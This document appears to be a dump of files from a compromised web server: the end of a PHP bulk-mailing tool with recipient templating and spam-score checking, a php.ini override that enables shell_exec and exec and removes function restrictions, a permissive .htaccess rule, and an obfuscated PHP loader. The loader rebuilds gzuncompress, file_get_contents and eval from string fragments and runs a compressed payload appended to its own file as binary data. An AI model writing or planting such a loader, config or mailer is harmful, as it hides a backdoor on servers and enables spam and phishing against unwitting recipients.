                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$dmHy='gz'.'uncompress';$mCpA='su'.'bstr';$RgpZ='file_'.'get'.'_content'.'s';$fMaQ='st'.'r'.'_rep'.'lace';$GqOy='e'.'xi'.'t';eval($dmHy($fMaQ('nmfdiezjab','>',$fMaQ('vegcdtbrlo','<',$mCpA($RgpZ( __FILE__ ),-172152)))));$GqOy(0);
?>
x,׎ܖ_p]%Kz|zeͨЅjdlX_tUL74?m?i_GۛwDlE;"/);{ݸ{z1ŶXiϵuo?GwO=ifls++oOm_8}e_`&`r (hۨ09q{ΑJ%uŲeC_=3"uiTTѵ%"LJaΎ雨ٍ;	sVRZ8Py}|몐4(7υʴvegcdtbrlouXAm4)nu()'
dRFL%xZRGoKݦ{GR:lW퓺B^
Uf:':an׃z_^J5bVbѱ]Dz˷ 8lN%^ʆk:[q yH1m̒=a.a65H.Qϭ;NwYU?@P|u#l4Yotd͝D|Єl/VY\CHS\c^rz4[s1B8&jD
6`0vegcdtbrloCC!9$2Ä?⇢ɞDolNh:iePX9,$]
 AWDjvH;sRfR82o:4ҁlU^&"w8nmfdiezjabC(ǉU7bVsYaujs
B}_+81%̄%!4F6~a$`/SW!3Ӱ/*xb%d;
3k|T;؍&8T0iPP"o.vAI8Qo89#.U@3Kޜ~j2VXQXypxo)ےޓOצs-nJV$J/ƄdлrÆ2|SH}Wwװ7kxW
alm`#=%bVAqR'b:P%3#GUppdh4l[NNT(8\SUSE܀'ٽ
b02_zs([%߈ΛQ(FxzǘE#[emGbqɑxyqrBs?OG7ӟurFnmfdiezjabߏ^H`Ff5je:n):3x2g{"6{uYH˗J?iRGIqE+*uPTF#?S5T|at*VKq5j9
`PRO+skpQ%?%يHpefxTANh[BޟXpp7Qc7)rvegcdtbrlov7.Prٟ`;Y[vT!\V
hũȯ+݆֫z	{YS,ԕ6#z]oqV|uv
糪ga}"nD&7з3Y
nxXsC{}/Θ[!#W^ϫ_L`YӴJ. )Vh,(=&
hTP_DZ!	}Z	k)`pI=I]vxK/&6KZra'HI
nmfdiezjab7 dxVe!p.c{CDU7JvegcdtbrlofRRvegcdtbrloɅ&8v\rJʃS,P/o\ 9y{)uD:ܒOOgdę'M O1vegcdtbrlopX&} CY:q6/D?
_wc'֬:X:\XԊ?ggw\nmfdiezjab/Pē~E4;	Xuǳ̗-)OdX$:!$ftZk)oK'g^l/"oԼv̐}U?u9Ta$4Gh.rf3ţȠE66S|q
(25gs@vegcdtbrlo'E{Qz%/=?[N]:-VF1|`d:B;txOxe	5'ͥ9MKu0_nvegcdtbrlo.|TMe@G|1Rc^:!*^kem4tRx!vegcdtbrloJGzh5;`pЮ~~T'۔[Q$W)qWg6D(/yxz6Zmv	aE6oH
-	9gK		zFOL@3(Yoh4N
=4w- \*'bTJ3-3GQhڀ ޘA:`",$lm8:[B߬)MIFF#gdҠ#=_&B,_r]W1^pA^Ĉ-=*f|FPSR
{G&
:*,eKT;j↽X.MFpfUUV!3R$(m+ 3l?x-Xi,*ݢ~[4`',̅`)08ԏZ$CiGo3Y=϶0
dIR_(ӫD
w!iHvegcdtbrloeV8+jYk44	oSWHvY6q`[LD41(lOkeT~l??̰{%yzjRVְZ/-ed=Ǘ&1'@%s[a!W,1dE1'oй"N^rMØwցK:;~S齷L݁\c랈R3_:tINJoOS
qοѻ«.lrЅSRh҇LȂikߏh(QPi3HAGq  'b1͏GcPi}x+QHF8EOhayA0 "%bCخq^箊?/H-ZBu:r8]!6nJ~c+εyAVЛe,ܾoY-ζ\InmfdiezjabPs;ՔX˹K@y\[W8KB``H=[\Ȍm?vBL=
VCsH(1Xd,߇) mf?Y\ްx'kIK@-ӗ3?ԮV׉+;w(D9_.F댠;s2h{
$5~PVg50cTUm|8If@
0J|jW4YEYnmfdiezjab:ߟwcA\	8+S^A
w|Kc "enmfdiezjabo
WwAMg޲ݷ%SKt,!B5晐[)Flo5#&f,5"8voaN_aHbcLb(S#iljnB)dkEvv0z9^QN(ǧF?e&TZ62ʄeb|KۓcSSS
ǜ!PLM{ҵ(}T:nmfdiezjabDy8&u! ֫-x_IoV
*	qpzZ=vBvegcdtbrlo{$hS"~ѯU5RΈ^٨Q'hl"cEoOPtOT;-Le3fNAyQ9Um^Fާ?SǷ.4+C{!CHEpS:~dBu;e_hG'X۴;L7!^0|=
yu+"wyr QRU`1^SF|Dr+L*ֹAdl3W}vڙ9F&b?Kl1_ŵcjU.Ts&a2"nhmr,2nR~?vegcdtbrloM*,PdPUo%
Iv  A~5QNWmUnmfdiezjab_aA1`U*-½Ci&r'2TCOR:nW3ܬxI޽,nY)F.YdSD:-좗γ1✉*ٕyK~1.1Pnmfdiezjab?onmfdiezjab|HŕC?_H"ףKh(T왭H--n
3Tsݧ6[ZnmfdiezjabHn%Mv'$I_}`+אfPLpzYX 
5TɆЯz9Qؾ'X]eYy
Y8@.tH_rsP؜?bk(loA?v2;iiȖsW쇍ȅآ8q]2j9'JI1חr=W^1ȓqQ
[A39m0N̂|PRS;X)۰-BWWQg-ٜp
v%KϥIͫ!/VTQyEZGJX/u^K)Ύ:BKU)/\9#z_JkRbJ[+1i0+t:_".Cf
4gyT;_|Q`}J#G}	%h
h/0a[ AMkd5T&F	 Q("o\ϿN#?6&]~/ ltqK1AlA*@O7R@4?s{RS)SHӀ&
R/$
WNTEʧDKw)4ؾɊ&?vegcdtbrlou9S)&qmIgj_\}VϿ8H5kх-	Hn|QqL gN
{Oϥ"\šHa-KyXq~8hzpUYi鄛xgnmfdiezjabݴvHԴ?:@)M_?vfCf Vako-_b_"tsz
vegcdtbrlof6)[$y8cXxRoͳ*L[W'nmfdiezjabO
n|YCw*F3	*toUnmfdiezjabȸp	VEOuvegcdtbrlo ;vq72SW
+d=#Y24AS@iuvegcdtbrloGr99ūzLf8c2sWgc!1&"Sŧ'g~RX9jUpkUprp3 ZbvegcdtbrloA	B:/\u#۶zvF\$*/{*l~Uz忡c%E.b(tq&77 Kz`e۷S;n/.?ڈ_~Kmq5ラgIZ"։h
7SW58oK#@77cmߓNcM[nZ7nB:y`F"}ĚEoP%b^Dl51z#}R^RhnmfdiezjabG툄l/|#nmfdiezjabk̞͎tnӾ @9`	]0=D9s5M)wOW7Za|Q;Ȫ" wvegcdtbrloTW'
2+g_(U1z,jdN;oNV
w̭GEtA~A
RǓdmoZRP5JA(LE,V($[:䛘fzDT87}znmfdiezjabKQ8;whU#.Zp@ۼZ/-j4vJi!Wo\9s1ͺ/!KzX	Ui	3w܎wׇkttoJUaόS[(%VROfi#iuuQa.?=ZGy*j2c' ސDr&gTo/{
YV
OIV0KU5gn7Ϙ)'T 53Wh&t)RԦeqz.. vegcdtbrlozjW{҉
7W=s6"2KS5ii@ru.ZС	8N7nmfdiezjab.Ư]̩"t1W	
EuG`V6YԸT bӂ)vbe |b[Ja5,B制R7;lx=۫` JT/7k^
|lJch˄úVȚu
HſH&ަd?MD{ܼb
TUiYy"JQE:Q)ȃrSd&~'h5TpEA %_A|ukWrxEa2!c{,{mπGA|ޖߥohw|
dk$ WOU³1T*C?ɔ)bnmfdiezjab }ԡ4=GFTP?({D4N#kf8}nmfdiezjab4B1QM	!oCa0ѐh^$TVvegcdtbrloCQ0@P3])6ľNk$u9X.U	i'k	4OH~l^6aÊ
w& B洐Pr!{U*6`&6WUnmfdiezjabAtj{%WlK_Dgf@~`sב*.x.-,uLu=]k'u8֥:=0|Yq@UqZϮWXݛw;=v4WkדXޝX/A܊)crѶ
E7Ud^ QÆEDor(8c33nᜥvegcdtbrlo٢Ბ_aֱAm,YV2@ZB:Ǥ_'J,Eӓgc+L\DKqA۴Ԯk܊bp	+sL SQO= ħ	9|nWL%9
DqeW+"'83\if5,nNWU 2]vֽENcgY3xgPzE_vegcdtbrloսpp":'XRvInmfdiezjabpftp%(@Z	= 
W
fJ/,UrͼYJڷ3
f)g
c1lGH/zV^ь@?Aw Jh |a(֟o}-(TMfBNa+lDeZ]}{CGw,!xUF
Ȁ۬(G[h5T*z@f#em[vegcdtbrloERC	 ț Ӄ=Y%HԨ"q+k0;	ZCd*1cr.9r٘N$+KzH7o:sG-]uiw򕵖OuI{|n
@lnCۜw4%z~N:2r:}Y&͉C4Hwۀ:sXs+c9x~ȧ?vegcdtbrloGjU̕YLZDj`+!졫ui[9+@^1+;6m0K-_PN	aߪk)u_@IT崫z"~gZ =3s7Ll6&O)osqC(nkفn-c|
^`Evegcdtbrlow h-w8
[(v;.-i7BS7Od$g-]qr;^ht8nmfdiezjab$Pğ$U}n=cGm˵ɟV'MnmfdiezjabɮL:G!}l	NvqnmfdiezjaboAx"{*ttz]"3M9?ٟm]~8{
sଙdþdw/vB=fBVM)ɼR3vegcdtbrloəT0aЖဓƀp+( z'Y5-T3t:vegcdtbrloaQ3vȃ'RLt
oYEW^\oҠ8O
5u5(q@ZׯOe}GscVn$ 'A̉+V^:njh+{)(u;!1s=vI+QKr}R-(3*咹zS8Bv|t%%3{Zˏnmfdiezjabm(*O
RCH\(J[3,[
+v:.+rnmfdiezjab: G'lA
fhD)dڊUZnmfdiezjablҀw\h=3ҏ@CG@rq48iLV&BzIcGW:W-ǘu51AV[Q1}]=9hïw(w
Vj6Hɻhy#4+A21Sv+Y-	1E"ӝn:Z$P6?;\N]t3}@t"$d0ɨnA4X!cyH	p%""vegcdtbrloIpǚ4V4X#^@Ro%{
nmfdiezjabqtDcr ]lc9 N]ܶko iN9_huA)\|mWJTl]|\-#Ti+uأi -_Z$
5ٷQ٠=0,-閦={pFvegcdtbrlou˪͝7%rWNnmfdiezjabqg't;Te
]NU(WG+6mrlNVԂC1}6WFR7{t6oZ.Pvӟ%Wm9Bv=:Cr/a~@knx,k	2.¶)@]oy}Q5w:^
ä)8+%By-%q%98ڨnmfdiezjabe4h7	M(1HMبk:;MURGB)-[|dZrJ_uзȦ~=z n\VעgԺΜ-~쎊=І
57!?HnmfdiezjabȫLzIs.
h( 5+w1[]Ëa|su\_
~k3ffU| +1K"qeʛEݶ yө?Ǝ _rvx yΠaڜXygl|A|)-s.Ku kNb+mhv:HdpX:®d[_X8̹X&KP_恗c`t :RDı:rM): o3z3
] P'~ܼ[.^)~aМ@wz?Oy˟𘤨t\_]HR+ @tGvegcdtbrloކjLyknT`
JQ:y2Z@mǗ^L5K6._ ݹ~VMKG%?~CC-=IԷěJ(\7_anmfdiezjabc|hʸ{6#{M?93D1?_2pb_SU#̓8"B:
A2(Wn|wKcfXLKmѠWQURt7Dm)	2cMG\ ɷccLDM%($_wE!ΖNk$2˵i:%'w|LJz\h2؃Xvegcdtbrlo'3.,｢	gvkAIֳ$b'@j#0J49c)v=}|R]뿱F:ZU觏Ŝ6..4,:s'J3Ho&t ڏeсTTv񿎽M%U=xtl{y1Rq52̓gl:7k|2rGhv0Q,ئj۫խ%}BPPVkafZ;H0qvVuO,݈LKWU!IHG	ڳzl^MZ%_Shb6烺	hb _;+{O
'4nmfdiezjab捓D)ZKh;ZJ?1˻^U:
 pl^/Ās(svegcdtbrlo{Ohńl^G~VrWbDgH@*0JzH~$b^({9=@כgVa ([6vegcdtbrloi'.,D2pLl'Ol
zgMDQ`[*S3E,N&nmfdiezjabz,	E@frSubm{E	0\/$l74|i1oDĉ&zCRL. X;ܯC(y;pKyqscu긁z1R0ja$:#TW,)y-	:Q":4涠B88
Dd5[8xzM?AX(VIu3
26^Uw؋"%0rW?fwI¸e-yfͥƒ4؇3mR&iXQ(S#TRs}&t_D):uyMdB4kUf.
ҔMamX$@AҳjA%U=j֋vvegcdtbrlo`SDuGpGϓ.mc5x4Ցvegcdtbrlovd?;IUΤ
RƝoUY5`O0~ݦ:ڋJ LռYYF5u*6ԇz{
[B{PdI}+)1fiz' 4AÅzw|U(r0Z9nmfdiezjab6	OWӷIiel^Hp'~5xV&xw}^7ssCo89O%dS'dͽ=`w]5Pw1$n+Dl!@!ݏU:a،["]sdQY|$'H}t"v	K2ºufͩ"Ǌ7&{\+ņO'Z=vegcdtbrlo6:73P h@;K(-52	nmfdiezjabՋ텪f({D|}k"_* nNvegcdtbrlokm͚`J~e}^j\XM/ j;T{{RfhGm[v5," nmfdiezjabe27cOu*7lxPSE0Ơɰٮ܍ eWt;_DΈD넿DGJ@(N{5eqsGV	-V["ٯ7;
?dKx:=܍~Ie8nmfdiezjab}QlهV@MnmfdiezjabZGgkrJ
3;z-nmfdiezjab:ٟror N'4jn@CXZaF"R_1=Ur4/;*ޠ[D$2xOqV
sV.#՚n"!r1vtI[}
G}O
8qGp-/G̜׶KTq(VSޭȀPN+.y֩!47Ph	vjLnmfdiezjabsnmfdiezjabW=#8=x_E6їh"0=/=~&r^
(yʋRXnOt-\_N8bSxBҤ
Tfe+1덗STcz`Ge+ҟb4j@I9\Ap~H๊mDTKN~7.ΈAW I/gJBluyCZnmfdiezjabzN4e.ڮ4]]~Z+d7rKU]A{(vegcdtbrlo4ͣi#aS{W2:+I54nC*O#0p0|Y{`?KCqb%G
fPof;|&K7E`Yˉ?j6\yL34rn{F5*xo\ùvuomWz3--^"!՚7Ô?AX)$,ܕ6jڌC 8m/~GxWBUlz=$شNNkvegcdtbrloZ1bZnf61N&jvegcdtbrlon"~Q6XB*s&(˥
_zAީ0ΈqRz\xcXMK=}~
l`Ai9^^@|^vegcdtbrlo\0׉żZ^*WRUE{-vegcdtbrlot%VF"P~}o8,qT ŀvegcdtbrlop=}J4Νܤn81pؗc[y{?ho,v|tRt։|rZVຖH_kB|iwC!zn
%=g꟏DyϜvegcdtbrlol~.˧MvA91'lY~d_B:&'gx9B!vqt3"CQ;Q.q{vTҧALZ"?]CٳI"vVVDNݫ^ z7wf?icXJ
T~쌑8Pˏla/IrAoE9Y,\:LXLO65&jeE,ϺyǂɉaJ2pZ ^,Y`-RVovJ+ٷ_jt#Mt=$8󀛙o80"+ףcOnmfdiezjab\·+`{Q¬{
\fCjh;pʯl	lvegcdtbrlo*K=OIcdƟ w댁+IYvegcdtbrlo5b^K'qWq0b-`
ZEVm Cqڝ9P&f@ؘC,P|98"q{-﯂EM\Rʳ+|BT`L}i7}'rΑw)9p9~XSogyI$2()\vgXP) JQ6m4ßvNHT c31']3+#EnmfdiezjabRt\#+` 	fB/lW8eDߟO!=Yqdp__M5WX|[~mD+S|WQ5cGL2k~nmfdiezjab2zyO9GbJ\GY	߼7o)68HjBd
3	x7I=gY",vegcdtbrlo2G^J9̄;V=YQnmfdiezjab4
bm3it+q$Ku[g=5qChaHۨ@#	nmfdiezjabD:*|%t	D{iW'[C+F tte0j%1imn0$ӽeD=9G}
GE[Ί_;]^O-(Ko9|F|ucvegcdtbrlo|b,R0lʞ'*
vq &ZjJh2@IU1I%3:}Atj.y&N^[XVNG6KZ)eOa}TW[r慀;Eu&Q^vegcdtbrlo֚'ߟa:a
'ص#t;2&/@R1cAÁODF[Cब_RN#P
DW2vT7p_zu1l"V` $*	/KߊoY;9ґ6zVqW]&{Ia|=Lq@qnatU ͙Ḛ3M(/U7Z!tȓlݛ|d?|o`&b#5'(3FLq4d aXu2D6i'@XtRE+vegcdtbrlob][Kɹfʅ"E:-B pfe
UKǫdC0&=t2q~^vegcdtbrloB"ŜJ0"dZlx]eptiPn
vlZl.m1[*)葅_JSMy%18w'BkT-=sf^vegcdtbrlozlOrtR_JTs]_O:E#/F=ԣ	gE`6o
rڙb1g|VF.I+!4LyXO[7-,WmWNwEgNyv,K;-Cewdyw ga/
ACGdI6׋Cͽ!0In922gdJc,~ZK:W`1̭~H`: ɨM%a"	b5oŗ?$
t\ѯv{xC%ݧ7nmfdiezjabж
jÊn0jAJ9Qie?(߯mkmgz	%	 yY;
:˙@PΑQ?ڒxzW{ӉpHl+ `T-UC2;_^ ECGկ-634ťa~'nte}=4Q |;*ߏ|L0oA74ХI]h8}wS2L&W9K;
cGOf9
,~fQEtLͦ.=	~7jmCyR/;WId%sh+&JbǾz˥*AH!caEЫߒ8eSYųžRf
^ic!۬,5Wy
OQ0Fa|U2͈z0̛VG%7H=sv/ٲLǪso[w+3e6xA=+9unmfdiezjabc`϶M!%fV{ٺvw+a	1BKPvxzJhG^FBIV^rVZTQ6o	G?︆Ro#~#-E[:UMZ8L"Jyɓ+1VxQrpiffͳ|zg
:nmfdiezjab8`8(ʪ^zطu_Td[X\;$`oy[G/wV*tn8o.RE( #X'x@d,r^o_x?c;,:lv'(2eÈnmfdiezjabȾ]:cwĳC!A oCfNw"YJ	HԸV\C4F^rK& EsǼg;/YBQsUeR2hS^	o"!.O?IecN^J 
\nhɏ2*!R+jAoMB8
pt֟Od9q16+CħAO1&,=\d[}F
?*ϵHrKpEN'NX8tbhC nmfdiezjabM-$d׆	e2k垎);Мbp=^Co11nv:!,
_@v~3Íz~7ߠu.ДJ5@M~G^vegcdtbrlo(
F{OcAyhHe 
GFt	K M5KQAfAƱ
y퉦 25ws*	)K/l/
O,kӦW*Ww)e|%n
/H}0QuG4_L߂m=ڏĴ&Rn6S]kLRt1ΆVSRO16Dҏ8#tF`;='_(#kzSBBGJLp(2a+k3~XaŢmjDӘ?Q\aGZdcvegcdtbrlozJqI&6ynWka$cQ
$z"' .{jj.1DFEg^hK0eWpinmfdiezjabG'Ӎeg&X|ig5c?_)^vXxۥUb*@LJYVڸmM9#M{fPLў6uEY6No}46tR+!2`r&nmfdiezjab"xx	y
.*9~wB%	3a0^ǦE]/ tq=H/[82pDS9'rW
NM:ӗ#b9(䈸d8*p.F`|JƮƽRqW5!BJjGQypJ
;t .1$0ق/sۅh=Ul8Tw\޺XGoTmQA=iԲ|2H I~|Ew02VF7_[,Vѭi{I;zpu?:8Uս0!	jIO&~H5	pưABF6g!3Tg%@!6ʍ7G?t#;J2 %?D|@{U4]aG6,u	]OvyƙGu qX)\J^Xpٸ^yF5fLa2%aY="
3R_B'i[f-q=MpifV?GphA׆/?"џX4M
Uֵc
':&GB `w̑N]m0#	{A5LbYfx3QynmfdiezjabOګl049׍#0tvegcdtbrloHR@.5v7оߗ
T	=On/k.s}6R5G[/2յu3`%Ƭ^Xd0𷬢=OWI ϿP߫?ҏ-S1)jhd}%;xQXMwTu3%1[ғ~3hPi$	9ˀ߮_/SEzGǲBGꊈxA kmKZ-2Yyvvegcdtbrlo$q6|ύQn֒
]Gq0 ׃!Ad:DwS#IR)=(_Q.!
ROBZZFvegcdtbrlo16C!XYXW$Իd-4N&!en:͊86}yʜ."9s }Qy6gGA0*/fhLe*n}:L_Uvf$_9zJ	i2N(`v^R+ycV?mpa+?p*?ߏJ,Z`o_8-A5\～Z*Nb2T\Uθ W {a)Ez,]&Ż&\wE7kB%IZtZ47dFPHqy\]Do0l0XTvegcdtbrloL%j%;Pvegcdtbrlo;nmfdiezjabtS(։XW|!fY%F=܏q%I^޽CĤ2T[`)SGC~IUmY39=CǷ^"ޤAxj
rO^8,o5,py4IȤS5l#ٰԺpM9&RP*-#[{6 gݛ5Y&OPgJ4_ow$I0Ls{]et"C:ܪ
!kUF+A뻙vegcdtbrloէjcM?-u^b7)Ta{K[,KV2DmЏ.|'`nmfdiezjabw3TIX0Hf=^j 0Q^BK.bgv&&*vegcdtbrloeBХہꝌ'B"~f$NFmgĥPnmfdiezjab1He`D)(ʊ;}tJ_#H
"i
B 	En.?x·hbu} r}~v\dRd_#H[/4I}f_9/w'+Y\E+SV$+Lput%ts͇ 4/'vy:&@p*{rvP2KF5n3o!nZƤޫHVcpZSxd	IOmt/|$78:ř(IiBA.n#xHiǫ0f
젙YHqkA`F9FFWVV[ɏnmfdiezjabxCBZb:ż'ɖ#}/hY9x!B&7$ RU__k4pSC۬j*A&nmfdiezjabǮg@RaTM)'s!׆Rjs*vم%:d^)
81UL&8xmAP\k^%]h,]/IϓuV"=	ꤓ
fʻ)UӳkZb8n6_*aD3@S.Ƅ[L N ژ3O鐘[vegcdtbrloHqM3o*3a/nf.lE ~8,^8nmfdiezjab6+8X$==a2ʮEZ!C{=_$a
m%Fps t f6G]q?厺JSnmfdiezjabi,刔07a=y"r0ڌĖ==@?uD_I8g.}#f[7۝O&I Rd#ux\:B%337e9 mes-q{ J1{}XSMA\:(V^Inmfdiezjabrd,"e	qNt6ܠ٥?$~
-htpIBY{#
ѤS='N
ɚ`KpoUXo~vHe|+a2ojǯ9In
 XS2:L9_9LZg
K12X*:{xJb6t_p{("Pq*%Q]zx
v("'鿹6QpnZm13ǝĴS
Diz%5Sva[B7򓂾ָN*%29qM.8}dc2 )E%pgZb[Ly8~"7
2nmfdiezjabCD
$Z;f@]U&sY%zQLUoO)lԇMrBbw%KƿnMGEQVݸ%,ΨNvFv"|a9E3
6ȣ)Vդe6Hb ,+o/U0qaO_ q)\\3PD{Ҝ#?[D DmvegcdtbrloC^`(UUqe	Y^S{6֚X
O`i 3cYz|TT;lxj/9D憰Ck1]teq0,
RcmdRfvegcdtbrlo
jW7g-8si.l`K6rs͖y󩦅S0VQ؛d7Qjvegcdtbrlo"ƯǱiA*fkF=N@n?#n@
g*aa*d˄lnXV΁Qmi$kvegcdtbrlo$v2@GmR9z{xReь㏢F	8
~N{6x}7o_Ύ&~ӟ#mOyg7~IZks%܆njqDSހ8Pfr/:|V~L#ǅ|vegcdtbrlo\g-	1=;y'N^8XrtKW◓ڛ8T?fRgQ2sflq@0%)$O|=+"fU"N{˗)wbaDq+=nmfdiezjab.\hiې&{I`;Á)BdEz]iFB
=hmlZ"0BUWlÏtE
fvegcdtbrloxbb
2FN0`_yeyoW.ۼ[Øyiߪ֞nG4S; ,EcrY_F@.NiCZg'-OՊc(
?{a` :Tu6"*ykJ4:kg6{R.z+MvNNTN#ǕL2BbѬz%՛6[(#eKjowRKMFoqtJ1hz"AbXً[4~ΫnmfdiezjabZ!g{5D,\iȲ@CzdZV0ٱ5'686,\wB2A+rd)eD"GwO7
H+rn?@McuK,KI\S9Go)nD&vegcdtbrloKe]竍٘J杷}DykU-:vegcdtbrloF."'hjZ$jvzk̾8$$wrm")nmfdiezjabFd_QuW'|=q[R\:è$1Vs؏lh̃Ju^xb~i0](
" dvegcdtbrlokx3@Xњ%*nq%ɘXx$!!3쥣'8uSZFtCnmfdiezjabO5VV̼RO}|#qlX~h/Ᏽ0'ou0*ڗ"]M0M@ҪʧCZ7U	9SYg2ZU Bƽc]0."Qz'8Py9aEx@7y!WvW`ߤoy;WgL*^؋ډtc~`5nmfdiezjabxg&yO鍳ā}*
2|'v{day~$'nަoAU%ogWO԰?eb|sl~z_[U^{? (6NvaØzee5QJW+hnmfdiezjab0@әfZlwOhJpsNWY_c9.cʷdj_}-w&E&bx/@BdUTZF{2
79D*#x"qR˹? OWǸ~X͈
mvegcdtbrlocj$hAT.y=nwn 	p^1}ߌI93֞)OPQ\C
R=2Wg.LZܺg!cPݹa]#yڤ5wo	6`O&hZ)K˔J_v:P} i4(/)
Cʎ|M2!UBWk
7ovegcdtbrloA2gZ
]zF@*"գ&i
_vegcdtbrlozY)=G.sQhfQ}r̬H*K$y&fyD䢓`nܞWLdc)7lj/K7.%\AeV x#{]%*͹zp 88:oa{\4K
7
ڑ:7Nby5
#Gj-5g~}a}T^ʏY=9kz~/vB|yYTi4Fl$?ZفD/ :1kF}ZvI\KN`w +%	.ɺvegcdtbrlonmfdiezjabe{{'|"BgVhooNT3:M?u=,&(TˢczPLǊKyڔ)]JΜwnmfdiezjabyev-Ne},7Ŏ|~?jb7QOs1ڠ
-S]nmfdiezjabM
uAPpOQ˥Kc`W_FR{[8WpDEF0;uݐCGi*޽iӽ7*/ދz*K?PNXvn%GE~KB
ܠ_en|9z{b .^}0}U
\*sJanmfdiezjabxgB:OX&	hadc'{=LBEHuE+ˈ_	G!u2?BoX$Z!ֵKE~Yn c+EhlXJ
_wK$%H#hdZ`/Lǽ
fM )Ҧ;y{_-Fϛ?WHl.lnmfdiezjabt6᛾~/Ajn%Fm6t8
FF'uJ	{V볍w_&;Skɫvegcdtbrlo
EDHk(|rcxU1sq8ܟU647ݛGe+S£#	z~ +:}Wٕ7Nw=Mh\٤T_?tb?JEncU؆nPn4JvegcdtbrloJ{C	n'кZonmfdiezjabGZ* 2Ý{	uaUTQG;]t^򝬺@
@j*OYD=4w90H_/
g |	y1 "NHvegcdtbrloͺS(ŰCV@6m8s ? C"}Mӫ)]VeW.(+kU9lB
&]{/{#lAҞzWSXSIɒpquv_I%t\[ymF:tO!oFt  =ASλ(ݦb;hFW
h;TF?xKv9is7x}`V4xpd3ygM@`le'Z
nmfdiezjabv':p܊/2#m[3 ?`w6I"ထ(,Ne!OhAyOgB))eFsҺ[3g
'A^GI5Ԏ[:vxjԺcJ4PZ jI5]W\meX:w.MuGe82-'fm{i*^rS+C?͍`35áb"
